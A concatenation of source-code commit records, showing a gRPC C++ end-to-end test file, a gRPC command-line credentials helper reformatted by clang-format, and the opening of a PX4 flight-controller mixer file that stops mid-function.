stub_->Echo(&context, request, &response);\n  EXPECT_EQ(response.message(), request.message());\n  EXPECT_TRUE(s.IsOk());\n}\n\n\/\/ Ask server to echo back the deadline it sees.\nTEST_F(End2endTest, EchoDeadline) {\n  ResetStub();\n  EchoRequest request;\n  EchoResponse response;\n  request.set_message(\"Hello\");\n  request.mutable_param()->set_echo_deadline(true);\n\n  ClientContext context;\n  std::chrono::system_clock::time_point deadline =\n      std::chrono::system_clock::now() + std::chrono::seconds(100);\n  context.set_absolute_deadline(deadline);\n  Status s = stub_->Echo(&context, request, &response);\n  EXPECT_EQ(response.message(), request.message());\n  EXPECT_TRUE(s.IsOk());\n  gpr_timespec sent_deadline;\n  Timepoint2Timespec(deadline, &sent_deadline);\n  \/\/ Allow 1 second error.\n  EXPECT_LE(response.param().request_deadline() - sent_deadline.tv_sec, 1);\n  EXPECT_GE(response.param().request_deadline() - sent_deadline.tv_sec, -1);\n}\n\n\/\/ Ask server to echo back the deadline it sees. The rpc has no deadline.\nTEST_F(End2endTest, EchoDeadlineForNoDeadlineRpc) {\n  ResetStub();\n  EchoRequest request;\n  EchoResponse response;\n  request.set_message(\"Hello\");\n  request.mutable_param()->set_echo_deadline(true);\n\n  ClientContext context;\n  Status s = stub_->Echo(&context, request, &response);\n  EXPECT_EQ(response.message(), request.message());\n  EXPECT_TRUE(s.IsOk());\n  EXPECT_EQ(response.param().request_deadline(), gpr_inf_future.tv_sec);\n}\n\nTEST_F(End2endTest, UnimplementedRpc) {\n  ResetStub();\n  EchoRequest request;\n  EchoResponse response;\n  request.set_message(\"Hello\");\n\n  ClientContext context;\n  Status s = stub_->Unimplemented(&context, request, &response);\n  EXPECT_FALSE(s.IsOk());\n  EXPECT_EQ(s.code(), grpc::StatusCode::UNIMPLEMENTED);\n  EXPECT_EQ(s.details(), \"\");\n  EXPECT_EQ(response.message(), \"\");\n}\n\nTEST_F(End2endTest, RequestStreamOneRequest) {\n  ResetStub();\n  EchoRequest request;\n  EchoResponse response;\n  ClientContext context;\n\n  ClientWriter<EchoRequest>* stream = stub_->RequestStream(&context, &response);\n  request.set_message(\"hello\");\n  EXPECT_TRUE(stream->Write(request));\n  stream->WritesDone();\n  Status s = stream->Finish();\n  EXPECT_EQ(response.message(), request.message());\n  EXPECT_TRUE(s.IsOk());\n\n  delete stream;\n}\n\nTEST_F(End2endTest, RequestStreamTwoRequests) {\n  ResetStub();\n  EchoRequest request;\n  EchoResponse response;\n  ClientContext context;\n\n  ClientWriter<EchoRequest>* stream = stub_->RequestStream(&context, &response);\n  request.set_message(\"hello\");\n  EXPECT_TRUE(stream->Write(request));\n  EXPECT_TRUE(stream->Write(request));\n  stream->WritesDone();\n  Status s = stream->Finish();\n  EXPECT_EQ(response.message(), \"hellohello\");\n  EXPECT_TRUE(s.IsOk());\n\n  delete stream;\n}\n\nTEST_F(End2endTest, ResponseStream) {\n  ResetStub();\n  EchoRequest request;\n  EchoResponse response;\n  ClientContext context;\n  request.set_message(\"hello\");\n\n  ClientReader<EchoResponse>* stream =\n      stub_->ResponseStream(&context, &request);\n  EXPECT_TRUE(stream->Read(&response));\n  EXPECT_EQ(response.message(), request.message() + \"0\");\n  EXPECT_TRUE(stream->Read(&response));\n  EXPECT_EQ(response.message(), request.message() + \"1\");\n  EXPECT_TRUE(stream->Read(&response));\n  EXPECT_EQ(response.message(), request.message() + \"2\");\n  EXPECT_FALSE(stream->Read(&response));\n\n  Status s = stream->Finish();\n  EXPECT_TRUE(s.IsOk());\n\n  delete stream;\n}\n\nTEST_F(End2endTest, BidiStream) {\n  ResetStub();\n  EchoRequest request;\n  EchoResponse response;\n  ClientContext context;\n  grpc::string msg(\"hello\");\n\n  ClientReaderWriter<EchoRequest, EchoResponse>* stream =\n      stub_->BidiStream(&context);\n\n  request.set_message(msg + \"0\");\n  EXPECT_TRUE(stream->Write(request));\n  EXPECT_TRUE(stream->Read(&response));\n  EXPECT_EQ(response.message(), request.message());\n\n  request.set_message(msg + \"1\");\n  EXPECT_TRUE(stream->Write(request));\n  EXPECT_TRUE(stream->Read(&response));\n  EXPECT_EQ(response.message(), request.message());\n\n  request.set_message(msg + \"2\");\n  EXPECT_TRUE(stream->Write(request));\n  EXPECT_TRUE(stream->Read(&response));\n  EXPECT_EQ(response.message(), request.message());\n\n  stream->WritesDone();\n  EXPECT_FALSE(stream->Read(&response));\n\n  Status s = stream->Finish();\n  EXPECT_TRUE(s.IsOk());\n\n  delete stream;\n}\n\n\/\/ Talk to the two services with the same name but different package names.\n\/\/ The two stubs are created on the same channel.\nTEST_F(End2endTest, DiffPackageServices) {\n  std::shared_ptr<ChannelInterface> channel =\n      CreateChannel(server_address_.str(), ChannelArguments());\n\n  EchoRequest request;\n  EchoResponse response;\n  request.set_message(\"Hello\");\n\n  std::unique_ptr<grpc::cpp::test::util::TestService::Stub> stub(\n      grpc::cpp::test::util::TestService::NewStub(channel));\n  ClientContext context;\n  Status s = stub->Echo(&context, request, &response);\n  EXPECT_EQ(response.message(), request.message());\n  EXPECT_TRUE(s.IsOk());\n\n  std::unique_ptr<grpc::cpp::test::util::duplicate::TestService::Stub>\n      dup_pkg_stub(\n          grpc::cpp::test::util::duplicate::TestService::NewStub(channel));\n  ClientContext context2;\n  s = dup_pkg_stub->Echo(&context2, request, &response);\n  EXPECT_EQ(\"no package\", response.message());\n  EXPECT_TRUE(s.IsOk());\n}\n\n\/\/ rpc and stream should fail on bad credentials.\nTEST_F(End2endTest, BadCredentials) {\n  std::unique_ptr<Credentials> bad_creds =\n      CredentialsFactory::ServiceAccountCredentials(\"\", \"\",\n                                                    std::chrono::seconds(1));\n  EXPECT_EQ(nullptr, bad_creds.get());\n  std::shared_ptr<ChannelInterface> channel =\n      CreateChannel(server_address_.str(), bad_creds, ChannelArguments());\n  std::unique_ptr<grpc::cpp::test::util::TestService::Stub> stub(\n      grpc::cpp::test::util::TestService::NewStub(channel));\n  EchoRequest request;\n  EchoResponse response;\n  ClientContext context;\n  grpc::string msg(\"hello\");\n\n  Status s = stub->Echo(&context, request, &response);\n  EXPECT_EQ(\"\", response.message());\n  EXPECT_FALSE(s.IsOk());\n  EXPECT_EQ(StatusCode::UNKNOWN, s.code());\n  EXPECT_EQ(\"Rpc sent on a lame channel.\", s.details());\n\n  ClientContext context2;\n  ClientReaderWriter<EchoRequest, EchoResponse>* stream =\n      stub->BidiStream(&context2);\n  s = stream->Finish();\n  EXPECT_FALSE(s.IsOk());\n  EXPECT_EQ(StatusCode::UNKNOWN, s.code());\n  EXPECT_EQ(\"Rpc sent on a lame channel.\", s.details());\n\n  delete stream;\n}\n\n}  \/\/ namespace testing\n}  \/\/ namespace grpc\n\nint main(int argc, char** argv) {\n  grpc_test_init(argc, argv);\n  grpc_init();\n  ::testing::InitGoogleTest(&argc, argv);\n  int result = RUN_ALL_TESTS();\n  grpc_shutdown();\n  return result;\n}\n<commit_msg>Make end2end_test use fewer threads<commit_after>\/*\n *\n * Copyright 2014, Google Inc.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met:\n *\n *     * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n *     * Redistributions in binary form must reproduce the above\n * copyright notice, this list of conditions and the following disclaimer\n * in the documentation and\/or other materials provided with the\n * distribution.\n *     * Neither the name of Google Inc. nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n *\/\n\n#include <chrono>\n#include <thread>\n\n#include \"test\/core\/util\/test_config.h\"\n#include \"test\/cpp\/util\/echo_duplicate.pb.h\"\n#include \"test\/cpp\/util\/echo.pb.h\"\n#include \"src\/cpp\/util\/time.h\"\n#include \"src\/cpp\/server\/thread_pool.h\"\n#include <grpc++\/channel_arguments.h>\n#include <grpc++\/channel_interface.h>\n#include <grpc++\/client_context.h>\n#include <grpc++\/create_channel.h>\n#include <grpc++\/credentials.h>\n#include <grpc++\/server.h>\n#include <grpc++\/server_builder.h>\n#include <grpc++\/server_context.h>\n#include <grpc++\/status.h>\n#include <grpc++\/stream.h>\n#include \"test\/core\/util\/port.h\"\n#include <gtest\/gtest.h>\n\n#include <grpc\/grpc.h>\n#include <grpc\/support\/thd.h>\n#include <grpc\/support\/time.h>\n\nusing grpc::cpp::test::util::EchoRequest;\nusing grpc::cpp::test::util::EchoResponse;\nusing std::chrono::system_clock;\n\nnamespace grpc {\nnamespace testing {\n\nnamespace {\n\n\/\/ When echo_deadline is requested, deadline seen in the ServerContext is set in\n\/\/ the response in seconds.\nvoid MaybeEchoDeadline(ServerContext* context, const EchoRequest* request,\n                       EchoResponse* response) {\n  if (request->has_param() && request->param().echo_deadline()) {\n    gpr_timespec deadline = gpr_inf_future;\n    if (context->absolute_deadline() != system_clock::time_point::max()) {\n      Timepoint2Timespec(context->absolute_deadline(), &deadline);\n    }\n    response->mutable_param()->set_request_deadline(deadline.tv_sec);\n  }\n}\n\n}  \/\/ namespace\n\nclass TestServiceImpl : public ::grpc::cpp::test::util::TestService::Service {\n public:\n  Status Echo(ServerContext* context, const EchoRequest* request,\n              EchoResponse* response) override {\n    response->set_message(request->message());\n    MaybeEchoDeadline(context, request, response);\n    return Status::OK;\n  }\n\n  \/\/ Unimplemented is left unimplemented to test the returned error.\n\n  Status RequestStream(ServerContext* context,\n                       ServerReader<EchoRequest>* reader,\n                       EchoResponse* response) override {\n    EchoRequest request;\n    response->set_message(\"\");\n    while (reader->Read(&request)) {\n      response->mutable_message()->append(request.message());\n    }\n    return Status::OK;\n  }\n\n  \/\/ Return 3 messages.\n  \/\/ TODO(yangg) make it generic by adding a parameter into EchoRequest\n  Status ResponseStream(ServerContext* context, const EchoRequest* request,\n                        ServerWriter<EchoResponse>* writer) override {\n    EchoResponse response;\n    response.set_message(request->message() + \"0\");\n    writer->Write(response);\n    response.set_message(request->message() + \"1\");\n    writer->Write(response);\n    response.set_message(request->message() + \"2\");\n    writer->Write(response);\n\n    return Status::OK;\n  }\n\n  Status BidiStream(\n      ServerContext* context,\n      ServerReaderWriter<EchoResponse, EchoRequest>* stream) override {\n    EchoRequest request;\n    EchoResponse response;\n    while (stream->Read(&request)) {\n      gpr_log(GPR_INFO, \"recv msg %s\", request.message().c_str());\n      response.set_message(request.message());\n      stream->Write(response);\n    }\n    return Status::OK;\n  }\n};\n\nclass TestServiceImplDupPkg\n    : public ::grpc::cpp::test::util::duplicate::TestService::Service {\n public:\n  Status Echo(ServerContext* context, const EchoRequest* request,\n              EchoResponse* response) override {\n    response->set_message(\"no package\");\n    return Status::OK;\n  }\n};\n\nclass End2endTest : public ::testing::Test {\n protected:\n  End2endTest() : thread_pool_(2) {}\n\n  void SetUp() override {\n    int port = grpc_pick_unused_port_or_die();\n    server_address_ << \"localhost:\" << port;\n    \/\/ Setup server\n    ServerBuilder builder;\n    builder.AddPort(server_address_.str());\n    builder.RegisterService(&service_);\n    builder.RegisterService(&dup_pkg_service_);\n    builder.SetThreadPool(&thread_pool_);\n    server_ = builder.BuildAndStart();\n  }\n\n  void TearDown() override { server_->Shutdown(); }\n\n  void ResetStub() {\n    std::shared_ptr<ChannelInterface> channel =\n        CreateChannel(server_address_.str(), ChannelArguments());\n    stub_.reset(grpc::cpp::test::util::TestService::NewStub(channel));\n  }\n\n  std::unique_ptr<grpc::cpp::test::util::TestService::Stub> stub_;\n  std::unique_ptr<Server> server_;\n  std::ostringstream server_address_;\n  TestServiceImpl service_;\n  TestServiceImplDupPkg dup_pkg_service_;\n  ThreadPool thread_pool_;\n};\n\nstatic void SendRpc(grpc::cpp::test::util::TestService::Stub* stub,\n                    int num_rpcs) {\n  EchoRequest request;\n  EchoResponse response;\n  request.set_message(\"Hello\");\n\n  for (int i = 0; i < num_rpcs; ++i) {\n    ClientContext context;\n    Status s = stub->Echo(&context, request, &response);\n    EXPECT_EQ(response.message(), request.message());\n    EXPECT_TRUE(s.IsOk());\n  }\n}\n\nTEST_F(End2endTest, SimpleRpc) {\n  ResetStub();\n  SendRpc(stub_.get(), 1);\n}\n\nTEST_F(End2endTest, MultipleRpcs) {\n  ResetStub();\n  std::vector<std::thread*> threads;\n  for (int i = 0; i < 10; ++i) {\n    threads.push_back(new std::thread(SendRpc, stub_.get(), 10));\n  }\n  for (int i = 0; i < 10; ++i) {\n    threads[i]->join();\n    delete threads[i];\n  }\n}\n\n\/\/ Set a 10us deadline and make sure proper error is returned.\nTEST_F(End2endTest, RpcDeadlineExpires) {\n  ResetStub();\n  EchoRequest request;\n  EchoResponse response;\n  request.set_message(\"Hello\");\n\n  ClientContext context;\n  std::chrono::system_clock::time_point deadline =\n      std::chrono::system_clock::now() + std::chrono::microseconds(10);\n  context.set_absolute_deadline(deadline);\n  Status s = stub_->Echo(&context, request, &response);\n  EXPECT_EQ(StatusCode::DEADLINE_EXCEEDED, s.code());\n}\n\n\/\/ Set a long but finite deadline.\nTEST_F(End2endTest, RpcLongDeadline) {\n  ResetStub();\n  EchoRequest request;\n  EchoResponse response;\n  request.set_message(\"Hello\");\n\n  ClientContext context;\n  std::chrono::system_clock::time_point deadline =\n      std::chrono::system_clock::now() + std::chrono::hours(1);\n  context.set_absolute_deadline(deadline);\n  Status s = stub_->Echo(&context, request, &response);\n  EXPECT_EQ(response.message(), request.message());\n  EXPECT_TRUE(s.IsOk());\n}\n\n\/\/ Ask server to echo back the deadline it sees.\nTEST_F(End2endTest, EchoDeadline) {\n  ResetStub();\n  EchoRequest request;\n  EchoResponse response;\n  request.set_message(\"Hello\");\n  request.mutable_param()->set_echo_deadline(true);\n\n  ClientContext context;\n  std::chrono::system_clock::time_point deadline =\n      std::chrono::system_clock::now() + std::chrono::seconds(100);\n  context.set_absolute_deadline(deadline);\n  Status s = stub_->Echo(&context, request, &response);\n  EXPECT_EQ(response.message(), request.message());\n  EXPECT_TRUE(s.IsOk());\n  gpr_timespec sent_deadline;\n  Timepoint2Timespec(deadline, &sent_deadline);\n  \/\/ Allow 1 second error.\n  EXPECT_LE(response.param().request_deadline() - sent_deadline.tv_sec, 1);\n  EXPECT_GE(response.param().request_deadline() - sent_deadline.tv_sec, -1);\n}\n\n\/\/ Ask server to echo back the deadline it sees. The rpc has no deadline.\nTEST_F(End2endTest, EchoDeadlineForNoDeadlineRpc) {\n  ResetStub();\n  EchoRequest request;\n  EchoResponse response;\n  request.set_message(\"Hello\");\n  request.mutable_param()->set_echo_deadline(true);\n\n  ClientContext context;\n  Status s = stub_->Echo(&context, request, &response);\n  EXPECT_EQ(response.message(), request.message());\n  EXPECT_TRUE(s.IsOk());\n  EXPECT_EQ(response.param().request_deadline(), gpr_inf_future.tv_sec);\n}\n\nTEST_F(End2endTest, UnimplementedRpc) {\n  ResetStub();\n  EchoRequest request;\n  EchoResponse response;\n  request.set_message(\"Hello\");\n\n  ClientContext context;\n  Status s = stub_->Unimplemented(&context, request, &response);\n  EXPECT_FALSE(s.IsOk());\n  EXPECT_EQ(s.code(), grpc::StatusCode::UNIMPLEMENTED);\n  EXPECT_EQ(s.details(), \"\");\n  EXPECT_EQ(response.message(), \"\");\n}\n\nTEST_F(End2endTest, RequestStreamOneRequest) {\n  ResetStub();\n  EchoRequest request;\n  EchoResponse response;\n  ClientContext context;\n\n  ClientWriter<EchoRequest>* stream = stub_->RequestStream(&context, &response);\n  request.set_message(\"hello\");\n  EXPECT_TRUE(stream->Write(request));\n  stream->WritesDone();\n  Status s = stream->Finish();\n  EXPECT_EQ(response.message(), request.message());\n  EXPECT_TRUE(s.IsOk());\n\n  delete stream;\n}\n\nTEST_F(End2endTest, RequestStreamTwoRequests) {\n  ResetStub();\n  EchoRequest request;\n  EchoResponse response;\n  ClientContext context;\n\n  ClientWriter<EchoRequest>* stream = stub_->RequestStream(&context, &response);\n  request.set_message(\"hello\");\n  EXPECT_TRUE(stream->Write(request));\n  EXPECT_TRUE(stream->Write(request));\n  stream->WritesDone();\n  Status s = stream->Finish();\n  EXPECT_EQ(response.message(), \"hellohello\");\n  EXPECT_TRUE(s.IsOk());\n\n  delete stream;\n}\n\nTEST_F(End2endTest, ResponseStream) {\n  ResetStub();\n  EchoRequest request;\n  EchoResponse response;\n  ClientContext context;\n  request.set_message(\"hello\");\n\n  ClientReader<EchoResponse>* stream =\n      stub_->ResponseStream(&context, &request);\n  EXPECT_TRUE(stream->Read(&response));\n  EXPECT_EQ(response.message(), request.message() + \"0\");\n  EXPECT_TRUE(stream->Read(&response));\n  EXPECT_EQ(response.message(), request.message() + \"1\");\n  EXPECT_TRUE(stream->Read(&response));\n  EXPECT_EQ(response.message(), request.message() + \"2\");\n  EXPECT_FALSE(stream->Read(&response));\n\n  Status s = stream->Finish();\n  EXPECT_TRUE(s.IsOk());\n\n  delete stream;\n}\n\nTEST_F(End2endTest, BidiStream) {\n  ResetStub();\n  EchoRequest request;\n  EchoResponse response;\n  ClientContext context;\n  grpc::string msg(\"hello\");\n\n  ClientReaderWriter<EchoRequest, EchoResponse>* stream =\n      stub_->BidiStream(&context);\n\n  request.set_message(msg + \"0\");\n  EXPECT_TRUE(stream->Write(request));\n  EXPECT_TRUE(stream->Read(&response));\n  EXPECT_EQ(response.message(), request.message());\n\n  request.set_message(msg + \"1\");\n  EXPECT_TRUE(stream->Write(request));\n  EXPECT_TRUE(stream->Read(&response));\n  EXPECT_EQ(response.message(), request.message());\n\n  request.set_message(msg + \"2\");\n  EXPECT_TRUE(stream->Write(request));\n  EXPECT_TRUE(stream->Read(&response));\n  EXPECT_EQ(response.message(), request.message());\n\n  stream->WritesDone();\n  EXPECT_FALSE(stream->Read(&response));\n\n  Status s = stream->Finish();\n  EXPECT_TRUE(s.IsOk());\n\n  delete stream;\n}\n\n\/\/ Talk to the two services with the same name but different package names.\n\/\/ The two stubs are created on the same channel.\nTEST_F(End2endTest, DiffPackageServices) {\n  std::shared_ptr<ChannelInterface> channel =\n      CreateChannel(server_address_.str(), ChannelArguments());\n\n  EchoRequest request;\n  EchoResponse response;\n  request.set_message(\"Hello\");\n\n  std::unique_ptr<grpc::cpp::test::util::TestService::Stub> stub(\n      grpc::cpp::test::util::TestService::NewStub(channel));\n  ClientContext context;\n  Status s = stub->Echo(&context, request, &response);\n  EXPECT_EQ(response.message(), request.message());\n  EXPECT_TRUE(s.IsOk());\n\n  std::unique_ptr<grpc::cpp::test::util::duplicate::TestService::Stub>\n      dup_pkg_stub(\n          grpc::cpp::test::util::duplicate::TestService::NewStub(channel));\n  ClientContext context2;\n  s = dup_pkg_stub->Echo(&context2, request, &response);\n  EXPECT_EQ(\"no package\", response.message());\n  EXPECT_TRUE(s.IsOk());\n}\n\n\/\/ rpc and stream should fail on bad credentials.\nTEST_F(End2endTest, BadCredentials) {\n  std::unique_ptr<Credentials> bad_creds =\n      CredentialsFactory::ServiceAccountCredentials(\"\", \"\",\n                                                    std::chrono::seconds(1));\n  EXPECT_EQ(nullptr, bad_creds.get());\n  std::shared_ptr<ChannelInterface> channel =\n      CreateChannel(server_address_.str(), bad_creds, ChannelArguments());\n  std::unique_ptr<grpc::cpp::test::util::TestService::Stub> stub(\n      grpc::cpp::test::util::TestService::NewStub(channel));\n  EchoRequest request;\n  EchoResponse response;\n  ClientContext context;\n  grpc::string msg(\"hello\");\n\n  Status s = stub->Echo(&context, request, &response);\n  EXPECT_EQ(\"\", response.message());\n  EXPECT_FALSE(s.IsOk());\n  EXPECT_EQ(StatusCode::UNKNOWN, s.code());\n  EXPECT_EQ(\"Rpc sent on a lame channel.\", s.details());\n\n  ClientContext context2;\n  ClientReaderWriter<EchoRequest, EchoResponse>* stream =\n      stub->BidiStream(&context2);\n  s = stream->Finish();\n  EXPECT_FALSE(s.IsOk());\n  EXPECT_EQ(StatusCode::UNKNOWN, s.code());\n  EXPECT_EQ(\"Rpc sent on a lame channel.\", s.details());\n\n  delete stream;\n}\n\n}  \/\/ namespace testing\n}  \/\/ namespace grpc\n\nint main(int argc, char** argv) {\n  grpc_test_init(argc, argv);\n  grpc_init();\n  ::testing::InitGoogleTest(&argc, argv);\n  int result = RUN_ALL_TESTS();\n  grpc_shutdown();\n  return result;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n *\n * Copyright 2016 gRPC authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\n\n#include \"test\/cpp\/util\/cli_credentials.h\"\n\n#include <gflags\/gflags.h>\n\nDEFINE_bool(enable_ssl, false, \"Whether to use ssl\/tls.\");\nDEFINE_bool(use_auth, false, \"Whether to create default google credentials.\");\nDEFINE_string(\n    access_token, \"\",\n    \"The access token that will be sent to the server to authenticate RPCs.\");\nDEFINE_string(\n    ssl_target, \"\",\n    \"If not empty, treat the server host name as this for ssl\/tls certificate \"\n    \"validation.\");\n\nnamespace grpc {\nnamespace testing {\n\nstd::shared_ptr<grpc::ChannelCredentials> CliCredentials::GetCredentials()\n    const {\n  if (!FLAGS_access_token.empty()) {\n    if (FLAGS_use_auth) {\n      fprintf(stderr,\n              \"warning: use_auth is ignored when access_token is provided.\");\n    }\n\n    return grpc::CompositeChannelCredentials(\n        grpc::SslCredentials(grpc::SslCredentialsOptions()),\n        grpc::AccessTokenCredentials(FLAGS_access_token));\n  }\n\n  if (FLAGS_use_auth) {\n    return grpc::GoogleDefaultCredentials();\n  }\n\n  if (FLAGS_enable_ssl) {\n    return grpc::SslCredentials(grpc::SslCredentialsOptions());\n  }\n\n  return grpc::InsecureChannelCredentials();\n}\n\nconst grpc::string CliCredentials::GetCredentialUsage() const {\n  return \"    --enable_ssl             ; Set whether to use tls\\n\"\n         \"    --use_auth               ; Set whether to create default google\"\n         \" credentials\\n\"\n         \"    --access_token           ; Set the access token in metadata,\"\n         \" overrides --use_auth\\n\"\n         \"    --ssl_target             ; Set server host for tls validation\\n\";\n}\n\nconst grpc::string CliCredentials::GetSslTargetNameOverride() const {\n  bool use_tls = FLAGS_enable_ssl ||\n      (FLAGS_access_token.empty() && FLAGS_use_auth);\n  return use_tls ? FLAGS_ssl_target : \"\";\n}\n\n}  \/\/ namespace testing\n}  \/\/ namespace grpc\n<commit_msg>More clang format<commit_after>\/*\n *\n * Copyright 2016 gRPC authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\n\n#include \"test\/cpp\/util\/cli_credentials.h\"\n\n#include <gflags\/gflags.h>\n\nDEFINE_bool(enable_ssl, false, \"Whether to use ssl\/tls.\");\nDEFINE_bool(use_auth, false, \"Whether to create default google credentials.\");\nDEFINE_string(\n    access_token, \"\",\n    \"The access token that will be sent to the server to authenticate RPCs.\");\nDEFINE_string(\n    ssl_target, \"\",\n    \"If not empty, treat the server host name as this for ssl\/tls certificate \"\n    \"validation.\");\n\nnamespace grpc {\nnamespace testing {\n\nstd::shared_ptr<grpc::ChannelCredentials> CliCredentials::GetCredentials()\n    const {\n  if (!FLAGS_access_token.empty()) {\n    if (FLAGS_use_auth) {\n      fprintf(stderr,\n              \"warning: use_auth is ignored when access_token is provided.\");\n    }\n\n    return grpc::CompositeChannelCredentials(\n        grpc::SslCredentials(grpc::SslCredentialsOptions()),\n        grpc::AccessTokenCredentials(FLAGS_access_token));\n  }\n\n  if (FLAGS_use_auth) {\n    return grpc::GoogleDefaultCredentials();\n  }\n\n  if (FLAGS_enable_ssl) {\n    return grpc::SslCredentials(grpc::SslCredentialsOptions());\n  }\n\n  return grpc::InsecureChannelCredentials();\n}\n\nconst grpc::string CliCredentials::GetCredentialUsage() const {\n  return \"    --enable_ssl             ; Set whether to use tls\\n\"\n         \"    --use_auth               ; Set whether to create default google\"\n         \" credentials\\n\"\n         \"    --access_token           ; Set the access token in metadata,\"\n         \" overrides --use_auth\\n\"\n         \"    --ssl_target             ; Set server host for tls validation\\n\";\n}\n\nconst grpc::string CliCredentials::GetSslTargetNameOverride() const {\n  bool use_tls =\n      FLAGS_enable_ssl || (FLAGS_access_token.empty() && FLAGS_use_auth);\n  return use_tls ? FLAGS_ssl_target : \"\";\n}\n\n}  \/\/ namespace testing\n}  \/\/ namespace grpc\n<|endoftext|>"}
{"text":"<commit_before>\/****************************************************************************\n *\n *   Copyright (C) 2012 PX4 Development Team. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in\n *    the documentation and\/or other materials provided with the\n *    distribution.\n * 3. Neither the name PX4 nor the names of its contributors may be\n *    used to endorse or promote products derived from this software\n *    without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS\n * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED\n * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\n ****************************************************************************\/\n\n\/**\n * @file mixer.cpp\n *\n * Control channel input\/output mixer and failsafe.\n *\/\n\n#include <nuttx\/config.h>\n#include <nuttx\/arch.h>\n\n#include <sys\/types.h>\n#include <stdbool.h>\n#include <string.h>\n#include <assert.h>\n#include <errno.h>\n#include <unistd.h>\n#include <fcntl.h>\n#include <sched.h>\n\n#include <debug.h>\n\n#include <drivers\/drv_pwm_output.h>\n#include <drivers\/drv_hrt.h>\n#include <drivers\/device\/device.h>\n\n#include <systemlib\/mixer\/mixer.h>\n\nextern \"C\" {\n\/\/#define DEBUG\n#include \"px4io.h\"\n}\n\n\/*\n * Maximum interval in us before FMU signal is considered lost\n *\/\n#define FMU_INPUT_DROP_LIMIT_US\t\t200000\n\n\/* XXX need to move the RC_CHANNEL_FUNCTION out of rc_channels.h and into systemlib *\/\n#define ROLL     0\n#define PITCH    1\n#define YAW      2\n#define THROTTLE 3\n#define OVERRIDE 4\n\n\/* current servo arm\/disarm state *\/\nbool mixer_servos_armed = false;\n\n\/* selected control values and count for mixing *\/\nstatic uint16_t *control_values;\nstatic int control_count;\n\nstatic uint16_t rc_channel_data[PX4IO_INPUT_CHANNELS];\n\nstatic int\tmixer_callback(uintptr_t handle,\n\t\t\t       uint8_t control_group,\n\t\t\t       uint8_t control_index,\n\t\t\t       float &control);\n\nstatic MixerGroup mixer_group(mixer_callback, 0);\n\nvoid\nmixer_tick(void)\n{\n\tbool should_arm;\n\n\t\/* check that we are receiving fresh data from the FMU *\/\n\tif ((hrt_absolute_time() - system_state.fmu_data_received_time) > FMU_INPUT_DROP_LIMIT_US) {\n\t\t\/* too many frames without FMU input, time to go to failsafe *\/\n\t\tsystem_state.mixer_manual_override = true;\n\t\tsystem_state.mixer_fmu_available = false;\n\t\tlib_lowprintf(\"RX timeout\\n\");\n\t}\n\n\t\/*\n\t * Decide which set of inputs we're using.\n\t *\/\n\t \n\t\/* this is for planes, where manual override makes sense *\/\n\tif (system_state.manual_override_ok) {\n\t\t\/* if everything is ok *\/\n\t\tif (!system_state.mixer_manual_override && system_state.mixer_fmu_available) {\n\t\t\t\/* we have recent control data from the FMU 